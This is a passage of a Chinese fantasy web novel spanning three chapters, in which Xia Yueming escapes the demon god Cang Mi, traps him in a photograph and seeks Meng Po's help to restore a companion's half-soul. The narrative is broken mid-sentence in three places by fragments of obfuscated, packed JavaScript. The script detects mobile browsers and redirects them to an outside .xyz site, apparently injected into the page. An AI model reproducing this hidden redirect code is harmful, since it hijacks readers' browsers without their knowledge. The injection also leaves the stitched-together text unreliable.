可它们都是她最后的筹码,她要用它们再赌一把。 看看——天意如何? 看看——她是否命该此绝? 她咬紧牙关,双手各执一物,怒喝一声,直奔苍弭。 苍弭眼中再无怜惜,失望如潮,他一掌挥出,夏月明便被狠狠击飞。 可她不顾已然接近透明的魂体,爬起再冲! 苍弭瞳孔微震,随即暴怒:“金乌,杀了她!” 空中火光乍现,终于听到最满意的命令的金乌破空而至,双掌蓄火,兴奋地朝夏月明冲来。 小白不假思索地扑上前,火焰瞬间将他身体灼穿,魂体在高温中化作飞灰,焰流却仍笔直冲向夏月明。 识海被一片炽热烧尽,阎君令和玉佩都未显灵。 夏月明闭上了眼睛,要结束了…… 这一世好短,死得也好痛苦。 之后会如何呢? 穿越到另外的世界,还是就此消亡? 可惜了她好不容易遇见的伙伴们,可惜了……还没看到雁娘的铺子开起来,没帮那些在等她的小鬼投胎…… 可她没等到鬼生结局,灼烧感就在瞬间消失了。 身前顿感清凉,闭目几秒,意识也仍然清晰。 她听到天幕震颤的声音,仿佛有水滴入平静的湖面,而后风停、云裂、海潮回旋,整座空中之岛如遭神怒。 空间扭曲,天幕裂开。 夏月明睁眼望去,一道高大身影缓步自天幕中的裂缝里走出。 他一袭玄袍翻涌,其上碧纹幽光流转,宽大的袖摆鼓荡间,气息凝重得仿佛渊岳压顶。 碧玉面具泛着冷辉,遮住他上半张脸,唯露出一双眼睛,如寒潭映星,沉静深邃,不见波澜。 下半张脸轮廓冷峻,薄唇紧抿,肤如冷玉,俊美得不似凡人,亦无一丝活气。 似乎有些熟悉……可她却想不起来在哪里见过。 倒是诅咒一见此人,眼球几乎迸裂,发出一声短促的抽气,瞬间缩回夏月明体内,再不敢泄露半分气息。 男人垂眸,目光落在夏月明濒临溃散的魂体上。 声音低沉清冽,不含丝毫情绪,却让人不寒而栗。 “你就是这样保护她的?” 61. 封印魔神 夏月明感觉魂体不自觉颤抖起来,藏在她身上,看似天不怕地不怕的诅咒,竟哆嗦到仿佛开启了震动模式。 男人未等诅咒回话,又斜眸看向苍弭,淡淡道:“好久不见。” 苍弭眉峰微挑,金色眼瞳中掠过一丝疑惑:“我们何时见过?” 男人并未回答,抬手在掌心汇集起青色光团,又想起什么般,扭头对夏月明道:“你先走。” 随后掌心一翻,天幕如同脆弱的琉璃,裂痕瞬间蔓延至大地,一道贯穿两界的空间裂缝出现在浮岛尽头。 自己引以为傲、坚不可摧、只进不出的领地,竟被人随手撕开这么大一个口子,苍弭脸上的慵懒与疑惑瞬间凝固。 “多谢!”夏月明强忍着魂体的剧痛,转身招呼伙伴们。行动不便, 她悄悄呼唤诅咒求助,那胆小鬼却死活不肯出来。 夏月明忍不住多看了浮于半空,与苍弭对峙而立的那个男人一眼。 男人虽然气场强大,但样貌俊美,一点儿也不吓人,诅咒到底为什么这么怕? 她刚艰难迈步,正要离去,便听见苍弭带着怒意的冷喝:“拦住她!” 数名魔将应声扑上,未待夏月明反应,男人袖袍随意一挥,磅礴的力量无声炸开,魔将们如断线风筝般倒飞出去,瞬间失去战力。 夏月明和伙伴们目瞪口呆,面前这个男人的力量,比他们看到的还要可怕。 苍弭亦是瞳孔骤缩,终于意识到眼前之人的恐怖:“你究竟是谁?” 男人唇角勾起一抹近乎嘲弄的弧度:“连对手是谁都不知,也敢妄下战书?” 苍弭不再犹豫,双手向前,掌心相对,一柄巨斧凭空出现在他手中。 男人见状,低笑出声:“几日前天界至宝失窃,开天斧不知所踪,原来我误打误撞,进了贼窝。倒是能顺手做件好事了。” 听到好事,夏月明眼珠子忍不住转溜起来,原来苍弭前些天离开这里,是去盗宝了。 如果……能将宝物归还天庭,能算自己和伙伴们一份功德吗? 男人垂眸看向夏月明,“小鬼,还不快走?” 知道一场大战便要展开,夏月明暂且放下心中算盘,与同伴们朝小婵所在的方位跑去。 毒气缭绕中,小婵已虚弱地睁不开眼,只在意识到伙伴们赶来之时,一遍喘息,一边着急地制止:“别过来……你们会被……传染的……你们快走!如果可以……帮我救救他们……” 众人看向远处逃命的小鬼们,其中有和小婵参加过同一游戏,至今仍被疫病缠身的那些鬼。 夏月明重重点头,却并未离开。 小婵所中疫病并未因为业灾的落败而消失,夏月明原地踌躇,毫无办法。 犹豫片刻后,她郑重地对小白道:“你带大家先走,我去找苍弭要解药。” 小白脸色骤变,语气罕见地严厉:“主人,你别想丢下我们,要去一起去。” “对啊,姥姥!”刚因栖风落败而从龙卷风解放出来的小草,从鬼群中蹿出,紧紧拉住她的袖角,声音颤抖,“你不要扔下我们。” 夏月明微笑着摸了摸小草的头,缓缓抬头,看向半空中那道悬立如山、黑袍翻飞的身影。 男人的身影逆着天光,青芒流转之间,有种令人信服的安稳感。 她深吸一口气,转头看向小白,认真道:“他是我用玉佩召唤来的,你知道这玉佩的威力,放心,只要他还在,我就不会有事。” 小白咬紧牙关,眼圈泛红:“我知道你不救小婵是不会走的,但至少……让我陪着你。” 其余众鬼也上前一步,齐声道:“还有我。” 夏月明摇了摇头,目光一一扫过每个伙伴,而后难得露出一副威严的表情,严肃道:“带大家离开,这是命令。” 本能中无法抗拒的两个字,领小白面色一怔。 他沉默片刻,终于咬牙点头,一把拽过不愿离开的小草:“我们走。” 走出几步,小白忽又回头,银色的眼瞳看着她,认真道:“我把他们送出去就来找你。” 夏月明抿唇,点头:“好,我等你。” 目送他们离去的背影消失在裂缝中,她缓缓吐出一口气,转身将目光重新投向战场的中心。 金斧与青芒相撞,天地间剧震不休,整个浮岛一寸寸碎裂。 夏月明眯起眼,想努力看清战况,却只能看见两团炽光如同两条咆哮的巨龙般交缠碰撞,待她走近时,光芒爆裂,一道身影如陨石般砸落地面——竟是魔神苍弭! 他单膝跪地,金色长发披散在肩,嘴角溢出鲜红的血丝,斧头飞旋脱手,在不远处砸出一道深不可测的沟壑。 他几乎是用尽全身的力气才撑起身,抬头死死盯着仍淡然悬在半空的男人:“你到底是什么人?!” 男人一步步踏空而下,站在苍弭面前,神情漠然而冷峻地俯视着他,语气淡淡地开口道:“我能有今天,全是拜你所赐。” 苍弭闻言更是茫然,似乎在回忆什么,却终究什么也没有想起,“我们以前见过吗?” 男人并未回答他,转头望向缓步走来的夏月明,问道:“怎么还没走?” 夏月明咬了咬唇,鼓起勇气走近几步,恳求道:“我想求您帮忙救救我的伙伴。” 男人朝小婵的方向望去,沉默片刻,缓缓摇头:“魂体腐蚀已入识海,她已经没救了。” 他伸出指尖,一抹青芒在虚空浮现,将小婵魂体中最后的、未被污染的一丝魂识剥离出来,凝结成淡淡的魂珠,递给夏月明。 “这是她最后一缕未被污染的魂识。你能用它帮她……安息。” 夏月明接过魂珠,指尖颤抖,眼眶泛红。 下一秒,远处被毒雾包裹的,小婵曾经的魂体化作黏稠的紫色浓水,渗透进了大地之中。 夏月明仍不甘心,她转头看向瘫倒在地的苍弭,几乎是哀求地开口:“求求你,救救小婵。” 和男人交手后战败后,神将和魔将的身影便都消失了,她只能求他。 苍弭低低咳出一口血,淡淡道:“他说得没错,她,已经没救了。” “不……” 夏月明轻轻捧着小婵的魂识,内心懊悔不已,怪自己没有保护好她。 男人将她的悲伤尽收眼底,语气也柔了几分,提醒道:“这里快塌了,带她走吧。” 夏月明抹去脸上泪水,点了下头。 待在这里,是一点办法都没有的,不如先出去,再想办法。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15866786|176169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她将魂珠收好,转身正要离去时,听见身后传来苍弭茫然的声音:“我对你这么好,你为什么要背叛我?” 一句话成功让夏月明为他转身。 她的脸上是毫不掩饰的荒谬与不解:“你对我好?你甚至不懂什么是尊重,又怎么好意思说对我好?” 他理所当然般的问话,激起了她扮宠物这些天以来积攒的怨念,不吐不快,她忍不住质问道:“将比你弱小的生物抓来当宠物,强迫她适应你的生活节奏,给你提供情绪价值——这就是你说的‘好’吗?” 苍弭哑然。 他平视着夏月明,语气比之前的任何一次都要脆弱:“你我朝夕相伴,一同休息,一同玩耍,肌肤相贴,温馨与共……你对我,竟无一丝感情吗?” 他因她而起了欢喜、依恋、寂寞、渴求……却不明白,她为何始终不动心。 夏月明却只是沉静地注视他。 “这番话真是一如既往的傲慢。”念在他的确是诚恳发问的份上,夏月明并未以嘲讽来回应他的冒犯,她的声音冷静,却字字如刀,“是我没有选择,只能陪你做那些你以为温馨的互动。你甚至没有给我支配情感的权利,却还冠冕堂皇地责备我没有付出感情?你要我怎么对你有感情呢?宠物对主人的依恋?下位者的仰望?召之即来挥之即去的卑恋?在占尽力量优势的前提下,还与我强调公平和情感的对等,未免有些可笑了。若没有抽离感情去做这些,我只会更恨你。” 男人在旁听着,原本冷淡的眼神微微动了一下,生出些许复杂的波澜。 苍弭如遭重击,先前所有的委屈怨念,在她这番剖白下竟如冰雪消融。那层横亘在他与那团渴求已久的光热之间的浓雾,逐渐变得稀薄。 这一瞬,他明白了自己为何想成为人。 他怔怔地望着她漠然转身的背影,一种前所未有的明悟与更深的孤独感攫住了他。 最后的最后,在她即将彻底消失于裂缝光芒中的瞬间,他几乎是本能地喊出声: “等等!我知道我的心愿是什么了!” 夏月明在光幕边缘回眸。 苍弭似看到了希望,对她高声呼喊:“我要你留在我身边!” 自她来到千魔窟,几乎所有的行为都是为了讨好、蒙骗他。 唯有一件事,是她发自真心在做的——询问小鬼的心愿。 她甚至问过他的心愿。 所以他想,这一定是她最在意的事,是他最后能抓住她的绳索。 然而,夏月明的反应却出乎他的意料。没有他预想中的震动或犹豫,她只是异常冷静地、甚至带着一丝审视地看了他片刻。 下一刻,她从袖中拿出一个造型独特的盒子——正是那件能摄魂封鬼的上古神器。 不待苍弭反应,咔哒一声,银光一闪。 他那张带着一丝错愕的完美脸庞,连带着战败的身躯,便定格在了照片里。 构图堪称完美,有种破碎的美感。 夏月明看着手中照片,有些解气地狡黠道:“我会随身带着相纸,你的心愿已经实现了。而我也不用再做你的宠物,我们都有美好的未来。” 苍弭:…… 她听不到他此刻心声,但猜想他一定骂得很脏。 62. 尘埃落定 夏月明刚将封印着苍弭的相纸收好,脚下地面便剧烈震颤,大片崩塌。 她魂体虚弱,几乎站立不稳。还未及反应,一股冷冽的气息瞬间将她笼罩,黑袍男人已俯身将她打横抱起,在空间裂缝闭合前,带她离开了千魔窟。 冲出裂缝的刹那,清新的草木气息,和着久违的阳光灼烧感扑面而来。 男人身后,那贯穿两界的裂隙正在慢慢收口,像一只闭上的眼睛。 她突然想起,在千魔窟时,再烈的日头似乎也没令她魂体不适,那到底是个什么地方? “主人!”小白欣喜地带着伙伴们从树影中奔出,脸上是失而复得的惊喜。 随即他意识到夏月明正被一个男人抱着,又下意识撇了撇嘴。但他并未因此出言不逊,毕竟若非此人,他的主人如今也不可能站在这里。 夏月明轻推男人胸膛,后者小心地放下她。 依依急切地环顾他们身后:“小婵呢?” 夏月明神色黯然,掌心托起一枚微弱如萤火的魂珠,众人神色皆是一沉。 没有谁再多问——他们都明白,这意味着什么。 先前带着鬼群保护他们的焦黑鬼,拖着残躯挪到近前,嘶哑道:“夏姑娘,谢谢你。与你们同行一程,让我久违地感受到了存在的感觉。我会永远记得这份暖意。” 见他是想告别,夏月明挽留道,“和我们一起走吧,或许还能转世……” 焦黑鬼缓缓摇头,露出一个渗人的微笑:“困在石堡数载,我们都有必须去做的事,后会有期,夏姑娘。” 他说罢,便与其他来自石堡的鬼一起,朝着北方行去。 日头太烈,久未接触阳光的他们,魂体很快出现灼伤。 夏月明下意识想为他们寻找遮蔽物,站在她身侧的男人已然抬手,修长如玉的手指对着天空虚虚一拂。 顷刻间,几片乌云如乖巧的小羊,精准地跑到小鬼们头顶铺展开来,投下片片阴翳。 夏月明仰头,正撞入他低垂的眼眸,她感激地对他绽开一抹笑:“多谢。” 男人道:“这些乌云会一直跟着他们,直到他们不再需要。” 他身量极高,夏月明仰头望着他,轻声问:“是你带我来的这里?” 男人微微颔首:“是。” 夏月明眼中泛起希冀:“你认识我爷爷吗?” 男人思索片刻,摇了下头,见夏月明有些失望,又补充道:“我知你心中疑云万千,然我所知,亦非全部。我也在调查你我之间的渊源,若有答案,定会告知。” “嗯!谢谢。”夏月明感激不已,随后又颇有些难为情地问:“那……你能带我回去吗?回到我原本的世界?” 她话音刚落,周围那些原本沉默的鬼魂,也纷纷投来期盼的目光,像是在等待一个共同的命运判决。 男人静静看着她,沉默片刻,才缓声开口:“你魂体受创,还无法承受时空逆流的代价。待你足够强大时,若你仍想回去——我会送你。” 听到“能回去”,夏月明心中大石落地,她还有很多事要做,也并不想立刻就走。 其他鬼心中的大石也同时落地,但又因自己自私的希冀成真了,有些愧疚。 男人目光如深潭,环视夏月明身边的伙伴们,最终回落到她身上,罕见地露出一丝温和的笑意:“我与一位故人有约,危急时刻救你一命。现在,约定已了。” “故人?是一位老人吗?”夏月明急声询问。 男人摇了摇头,并未向她解释,顿了顿,又道:“今后的路再难,也只能靠你自己走。若你能坚持走到尽头……拥有真正能与魔神抗衡的力量,那位故人会来寻你。” 虽不知他来自哪里,又为什么要帮自己,但他的存在确实让夏月明很有安全感,她重重点头,一对杏眼亮晶晶地回望着他。 男人微笑着最后看了她一眼,随后周身青芒如薄雾流转,下一瞬,他的身影便在阳光下消散,如水月空山,来无影,去无踪。 他消失的瞬间,夏月明明显感到后背的诅咒松弛下来,仿佛卸下了千斤重担。 刚才男人在的时候,诅咒甚至紧绷到不敢哆嗦。 “你到底为什么怕他怕成那样?”她忍不住低声问。 诅咒立刻炸毛:“哼!谁、谁怕他了!小心我告你诽谤!” 尘埃落定,到了分别的时刻。 一同参加最终游戏的鬼大部分都离去了,仍有一些留了下来。 小白殷勤笑道:“主人,他们都自愿来心愿部入职,您看看给他们安排个什么职位?” “都自愿?”夏月明扭头看向那些鬼,重复了一下小白的重音。 一众鬼魂刚要张嘴解释,就见小白站在夏月明身后眯着眼笑起来,那笑容明明比阳光还要灿烂,却让他们感觉一阵寒意,毛骨悚然。 于是他们忙将到嘴边的话咽了下去,点头哈腰道:“啊是是是,自愿的!我们是自愿的!” “那就好。”夏月明莞尔一笑,学着曾经大领导开会时那种官方又亲切的语气道,“多谢大家选择相信我,我们是一起经历过生死的战友,今后也请多多指教。” “多多指教……哈哈哈……” 众鬼魂违心大笑。 夏月明察觉鬼群最末,站着一些垂头丧气、周身萦绕不祥气息的疫鬼。 她提声喊住正要默默退走的他们:“等等。” 疫鬼们齐齐一震,回过头时神情茫然,甚至下意识防备地后退了一步。 “我答应过小婵,会治好你们。”夏月明认真地看着他们,一字一句道,“你们……愿意给我一个机会吗?” 疫鬼们瞪大双眼,面面相觑以为自己听错了,随后脸上展开惊喜笑意,对着夏月明重重点头:“当然!” 夏月明松了口气:“但疫病需隔离。若你们信我……”她目光扫过伙伴们,最后落在阿九和依依身上,“阿九、依依,麻烦你们帮忙寻一处可隔离安置的地方。” 二鬼爽快答应:“没问题!” 若这是小婵遗愿,他们定会认真完成。 众鬼各安其位。 见夏月明处理好了家务事,缉灵司的三位少年缓缓走来,同她告别。 “夏姑娘。”李灵恪虽然满身狼狈,脸上却一如既往挂着神采飞扬的笑:“我代表我们仨,嘿嘿,尤其是我,正式向你道谢。” 他话音一落,三位少年齐身朝夏月明鞠了一躬。 夏月明连忙摆手:“不必客气!”顺势扶起离她最近的阿浅。 少女脸颊泛红,又小声地在夏月明耳边说了句:“谢谢你,姐姐。” 看着她亮晶晶的灵动眼眸,夏月明嘴角不自觉泛起温柔笑意,两人相视而笑,一切尽在不言中。 李灵恪这次扬眉吐气,像只骄傲的小孔雀般抬头挺胸:“这次回去,我可得跟闵大人好好说道说道!宁渊那剑阵唰唰唰,阿浅的火龙轰隆隆,那叫一个威风八面!看谁还敢小瞧我们先行队!” 阿浅闻言,却像被踩了尾巴的猫,急声道:“别说!千万别说!” 她一把抓住李灵恪的胳膊,又眼巴巴望向宁渊,“求你们了,我用火系术法的事,千万不能告诉闵大人!” 李灵恪一脸懵:“为啥啊?这泼天的功劳……” 宁渊沉稳颔首:“嗯。守口如瓶。” 李灵恪狐疑地来回打量二人,恍然大悟:“嘿!你们肯定有事瞒着我!” 他坏笑着朝阿浅伸手,“快说!不然… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15866787|176169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …我可要挠你痒痒了!” 阿浅尖叫着躲闪:“李灵恪你讨厌!” 宁渊依旧是那副沉稳寡言的模样,任由二人绕着自己转圈追闹,轻轻朝夏月明点了下头,目光坦然,神情认真,带着少年人稚嫩却厚重的敬意,又说了句:“多谢。” 言罢,他不再理会打闹的两人,兀自迈步离去。 “喂!宁渊!你又不等我们!”李灵恪见状,也顾不上“审问”阿浅了,大喊一声追了上去。 阿浅匆匆同众鬼道别,紧跟着去追李灵恪。 “喂!等等我啊宁渊!”李灵恪边跑边不甘心地嚷嚷,随即又自己释然了,回头冲阿浅挤眉弄眼,“算了算了!本少爷心胸宽广,允许你们有小秘密!嘿嘿,这样正好,功劳都是我的!” 夏月明站在原地,望着三个少年吵吵嚷嚷、逐渐消失在地平线尽头的背影,连日紧绷的心弦终于松弛下来,嘴角还噙着一丝笑意。 就在这时,她耳边响起一声极其夸张、带着垂涎欲滴意味的咽口水声。 诅咒的声音压得极低,透着一种诡异的兴奋:“啧……那个叫宁渊的小子……真是绝品啊……这骨相,这精纯饱满的阳气……” 夏月明脸上的笑容瞬间僵住,眉头拧紧,毫不掩饰地嫌弃道:“你这语气……活像个夹着嗓子说话的猥琐色狼……不许打他们的主意。” “你才色狼!!”诅咒再次炸毛,声音猛地拔高又强行压下,带着被误解的恼怒和一丝不易察觉的尴尬,“我是说!他的身体!是绝佳的容器!比你强一万倍!可恶啊……我当初是造了什么孽才摊上你……” 夏月明松了口气,原来是她想歪了,语气毫无波澜地回了句:“哦,那还真是委屈您老人家了。” 她转向小白和阿九:“小白,阿九,麻烦你们先带大家回毕宿宫安顿。” 阿九眉头微蹙,看着夏月明苍白的脸色,担忧道:“你呢?这里离毕宿宫路途遥远,你魂体有伤……” “不必担心。”夏月明拿出阎君令牌,微笑道:“我自有捷径。” 阿九见状,不再多言,沉稳地点头:“好,万事小心。” 待他们走远,夏月明深吸一口气,指尖朝令牌注入一丝魂力。 不多时,森然鬼气扑面而来,她已身处地府入口。 “夏月明!”一黑一白两道身影如同鬼魅般倏忽而至,正是黑白无常。 黑无常脸上带着明显的怒意:“贼几日里音信全无,急飒偶们了!丢竟去了何醋?” “说来话长。”夏月明无心寒暄,语气急促而恳切,“我有要事,十万火急,必须立刻求见阎王大人!” 黑无常看了白无常一眼,白无常冷面道:“阎君日理万机,岂是你想见就能见的?” “求两位通融!”夏月明不等他说完,急切地拿出小婵的魂珠,将千魔窟的事大概讲述了一下。 “竟有这种事?”两位无常都很纳罕,但他们知道她所言非虚,因为前几日确实听阎王说过,天界丢了开天斧,乱成一锅粥了。 黑无常长舌乱甩,不可思议:“里竟然棱从那魔森手里逃粗?” 夏月明心想,不只逃出来了,那魔神还被我放兜里了。 不过这个她没打算现在说,只给黑白无常补充了黑袍男人出现后的部分。 两位无常听完更是目瞪口呆,慌了主意。 “你等一下,我去找阎王。” “偶也去!” 夏月明等了很久很久,等到她以为没有希望了的时候,听见黑无常意气风发的声音传来:“喂,跟俺们肘!” 他甩起长舌,与白无常一起给夏月明引路。 “去哪里?” “废什么话?到了就知道了。” 63. 去京城吧 “阎王最近在闭关,一切事务孟婆说了算。正巧,她最擅长治疗魂魄。”白无常一边解释,一边带夏月明来到奈何桥。 桥边雾气氤氲,桥头,一位身着红衣的女子正执勺舀汤。她身姿窈窕,一头如瀑黑发垂至腰间,侧脸轮廓清冷绝艳,有种遗世独立的疏离感——正是孟婆。 夏月明止步望去,一时有些看呆了。 察觉到她的目光,孟婆缓缓抬眸,眸中讶异一闪而过,变成新奇,她袍摆轻拂,朝着她款款走来。 “你就是夏月明?”声音清透如冷泉滴玉,悦耳又疏离。 “您是孟婆大人?”夏月明呆呆地问,随即又想起自己有重要的事,急忙将小婵的魂珠递到孟婆面前,恳求道:“求您救救她……” 孟婆接过小婵魂珠,柔声道:“莫急,你的情况我已知晓。” 她将魂珠悬于掌心上,闭目感知,魂珠泛起白色冷光。 几息之后,孟婆睁开眼睛,缓缓摇头:“灵识残烛,魂火将熄,回天乏术。” 夏月明只觉得眼前一黑,浑身力气瞬间被抽空,巨大的悲痛和无力感席卷而来,让她几乎站立不稳。 她此前未有过伙伴,也未曾这么快体验过失去伙伴的滋味。 “她对你很重要?”孟婆眸光微动,按她所知,她与她相识并不算久。 夏月明抿唇重重点头,眼泪不受控制地滑落。 孟婆似是对她表现出的情感很感兴趣,观察半晌,才想起来提醒她:“看来你并不知晓,她只有半魂。” “半魂?” “嗯。”孟婆微微颔首,“幸而如此,若能寻得她流落在外的另一半魂魄,将此缕魂丝依附其上,或许能有一线生机。” 看着夏月明眼中重燃的火光,她意识到她对本世界的鬼魂体系知之甚少,便又补充道:“但灵魂分家,意味着同一躯壳内曾孕育出两个独立的灵识。即便寻得那半魂,也需小婵这缕残存的灵识,与另一半魂魄中已然壮大的灵识争夺主导。以她此刻孱弱的状态,胜算渺茫。” 夏月明眸中的信念丝毫未减,欣然点头道:“先找到那半魂再说。孟婆大人,您知道那半魂在哪里吗?” 孟婆缓缓摇头,看向手中魂珠:“她这半魂斩断了尘缘,抹去了宿因,如同落入无边苦海的孤石——无迹可寻。” “这……”夏月明的心又沉了下去,“看来得花一番功夫了。您知道怎么看出谁是半魂吗?” 就算那半魂就在眼前,她认不出也白搭,这才是最棘手的问题。 孟婆清冷的眼眸凝视着夏月明,沉默片刻后,红唇轻启:“你在此稍候。” 说完,她转身走入奈何桥畔氤氲的雾气之中。 白无常安慰夏月明:“别急,她肯定是和阎王商量什么去了。” 黑无常甩甩舌头:“哼,贼个吕棱尊口误!偶们缩的四她就不去斌报,三字啄了决定!” 白无常嫌弃地捂住他的嘴:“别说了,叽里呱啦口水乱飞,半天一个字也没说清,净添乱了。”说罢同夏月明打了个招呼,拽着黑无常的舌头将他拖走了。 夏月明在桥边坐下,目光落在幽幽忘川之上,水流无声,却似将她的思绪一层层带走。 终于,如半载般漫长的半个时辰后,那抹熟悉的、惊心动魄的红再次穿透雾气,来到她面前。 孟婆清丽绝伦的脸上,挂着一抹淡淡的、近乎不可察的笑意:“久等。” “没有。”夏月明屏住呼吸,期待地看着她:“可有办法找出小婵的半魂?” 孟婆扬起唇角道:“寻常生灵,无论人鬼妖魔,皆无法辨识半魂之异。”她垂眸看向夏月明,本应毫无波澜的眸中,此刻也隐约流转起某种光华,“因此,我已禀明阎君……获准随你同往人间,寻找小婵姑娘遗失的半魂。” “真的?!” 仿佛买彩票中了头奖般,巨大的惊喜在夏月明心中充盈,她几乎不敢相信自己的耳朵,“您……您是说,您要和我一起去人间?” 她看着眼前这位清冷如月的地府神祇,实在难以想象她会离开这奈何桥畔,与自己同行。 她眼中的惊喜太过炽热,孟婆忍不住怔了一瞬,随即似被她感染般低笑出声:“能去那万丈红尘、烟火人间走一遭的机会,可着实不多呢,我自要好好把握。” 言语间竟有几分少女般的鲜活。 但很快,她又恢复了原先清冷的模样,语气也带上了几分公事公办的意味:“当然,对阎君的说辞是:千魔窟倾覆,魔神苍弭失踪,干系重大,地府需派员详查人间异动。此行……不过是顺道帮你寻魂罢了。” “嗯!”夏月明欣然看着面前女子,心间泛起难以言喻的暖流和感激。 两个气质迥异的女人,隔着忘川河畔氤氲的水汽,相视而笑。 一种奇妙的同盟感,以及即将共同踏上未知旅程的兴奋联结了她们。 夏月明回到毕宿宫时,小白等鬼还没有到。 她从地府来人间,可以随意选择落脚的地点。 但小白他们还带着其他鬼,估计要走挺长时间。 此时已是黄昏,云层被夕阳染成了温柔的玫色,毕宿宫外也罩上了一层绮丽的滤镜。 夏月明推开大门,熟悉的灰砖青瓦、槐木香风扑面而来,一切都是熟悉而宁静的模样。 这片宁静很快被“咚”的一声打碎,正在门口扫地的无头鬼一见夏月明的身影,头颅猛地从脖子上弹了出去,一脸震撼:“副、呃林长老回来了——!” 他兴奋地拔腿就跑,想把这个好消息告诉所有鬼,然而,他忘了一件至关重要的事——他的脑袋还在原地。 于是,毕宿宫黄昏的庭院里,就出现了极其诡异又滑稽的一幕:一个无头身体狂奔着消失在回廊尽头,而他那孤零零的脑袋留在门口地上,只能徒劳地扯着嗓子,用尽全身鬼气对着夏月明和孟婆大喊: “林长老回来了!林长老回来了啊!!!” 夏月明无奈地摇了摇头,嘴角却勾起一抹习以为常的、带着点宠溺的笑意,侧过头,对着身侧的孟婆轻声解释道:“别见怪,这位叫阿断。他这头和身子啊,经常闹点小脾气,不太听彼此使唤。在我们这儿算是日常‘惊喜’了。” 她的语气轻松,仿佛在介绍一个调皮但无伤大雅的孩子。 孟婆看着地上那颗努力“报信”的头颅,听着那中气十足却充满荒诞感的呐喊,再看看夏月明那副见怪不怪、甚至带着点纵容的神情,忍不住扬起唇角,点了下头。 这与地府森严、刻板、秩序井然的氛围截然不同,有一种奇特的、鲜活的、带着点混乱的“生趣”。 虽然这报信方式极不靠谱,却出奇地很有效果。 很快,原本沉寂的宅院骚动起来。一道道或虚或实的身影穿门越壁而来,叽叽喳喳纷纷朝着大门方向聚拢。 “林长老!您可算回来了!” “这几天一点消息都没有,急死我们了!” “您再不回来,某些人可要投敌了……” “说什么呢?!我不过是吃了狸副宫主一个桃花酥而已……才、才没有投敌呢!” …… 员工们七嘴八舌地围上来,脸上都带着找到主心骨的激动。 从他们你一言、我一语中,夏月明明白自己失踪这几日,狸姝一直在试图威逼利诱,问出她的下落,撬走她的班底。 夏月明下定决心,要找机会把狸姝撬过来,这样她就不会再挖自己的人了。 就在这喧闹之中,一道仿佛自带香风、慵懒又妩媚的声音插了进来:“哟~瞧瞧这是谁回来了?我们‘日理万机’的林长老,可真是让大家伙儿好找呢~” 鬼群自动分开一条道。只见狸姝袅袅娜娜地走来,一身宝蓝色雀翎衣裙,妆容精致,眼波流转间尽是风情。 一双美目扫过夏月明,落在她身侧的孟婆身上时,瞬间亮了起来,如同发现了稀世珍宝般。 “哎呀呀~这位妹妹是……好面生啊?姐姐我也算阅‘鬼’无数,竟从未见过妹妹这般清丽脱俗的绝色。” 狸姝眼底的贪婪和惊艳几乎要溢出来,她一边说着,一边亲昵地伸出手指,想触碰孟婆的脸颊,“妹妹这般美女,跟着林长老岂不是委屈了?不如来姐姐这边?姐姐啊,最是懂得欣赏美玉,定把你捧在心尖尖上,什么好东西都紧着你……” 她的话语如同裹了蜜的蛛网,带着刻意的讨好与拉拢,媚眼更是如丝,紧紧缠绕着孟婆。 孟婆依旧是一身清冷的红衣,黑发如瀑,容颜绝丽得不似凡尘中人。 当然,也确实不是。 面对这扑面而来的、带着强烈目的性的热情与赞美,那双清冷的眸子只是平静地、略带一丝好奇地回视着狸姝,仿佛在观察一件会发出奇怪声音和香气的奇特造物。 她既没有羞涩,也没有厌恶,更没有被恭维的喜悦,不着痕迹地微微侧身,避开了狸姝将要触碰的手指,然后淡淡道:“捧在心尖尖上?你有心吗?” 那语气认真到带着一种近乎天真的不解风情,似乎真的在探讨这个比喻的可行性。 但狸姝没有觉察到这一点,她只觉得自己被侮辱了。 在旁围观的众鬼也是。 未待夏月明帮忙解释,狸姝已抬手做出扇巴掌的姿势,又未待她反应,她竟兀自又收了手。 ——实在不忍伤害这绝美容颜。 一股难以言喻的、混合着羞恼、挫败、憋闷的邪火“噌”地窜上脑门,烧得狸姝脸颊通红,精心描绘的柳叶眉都竖了起来。 她指着孟婆,气得声音都变了调:“你……你……!” 你了半天,才瞪向夏月明,憋出一句:“真是没眼光!” 夏月明一脸无辜指着自己,狸姝狠狠剜了她一眼,气呼呼拂袖离去。 白来一遭,自讨没趣。 夏月明忽而觉得她竟有些可爱。 不过这也提醒了她,如今毕宿宫鬼多眼杂,不大方便她开公司了。 安抚了激动围拢过来的员工,与他们简单叙了叙这几日的惊险后——当然,略去了一些重要细节——夏月明深吸一口气,朗声宣布:“诸位,为了以后行事更为便宜,也为了我们能更独立地发展,我决定另觅一处宅院,作为我们新的据点!” 话音刚落,一股无形的、霸道的威压化作黑色烟雾,降临在夏月明身侧。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 